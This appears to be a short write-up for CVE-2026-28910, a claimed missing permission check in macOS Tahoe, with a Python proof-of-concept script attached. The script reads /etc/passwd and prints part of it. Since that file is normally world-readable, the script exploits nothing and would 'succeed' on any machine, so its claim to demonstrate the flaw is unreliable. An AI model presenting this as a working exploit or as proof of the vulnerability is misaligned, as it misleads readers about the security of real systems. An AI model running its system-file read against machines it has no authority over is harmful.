CVE-2026-28910 macOS Tahoe权限检查缺失导致任意文件访问

import os # Proof of Concept for CVE-2026-28910 # This script simulates a malicious app attempting to access arbitrary files # due to missing permission checks in macOS Tahoe < 26.4. def exploit(): target_file = "/etc/passwd" # Example restricted file try: # Attempt to read the file which should normally be restricted with open(target_file, 'r') as f: content = f.read() print(f"[+] Successfully read {target_file}:") print(content[:100]) # Print first 100 chars except PermissionError: print("[-] Permission denied.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit()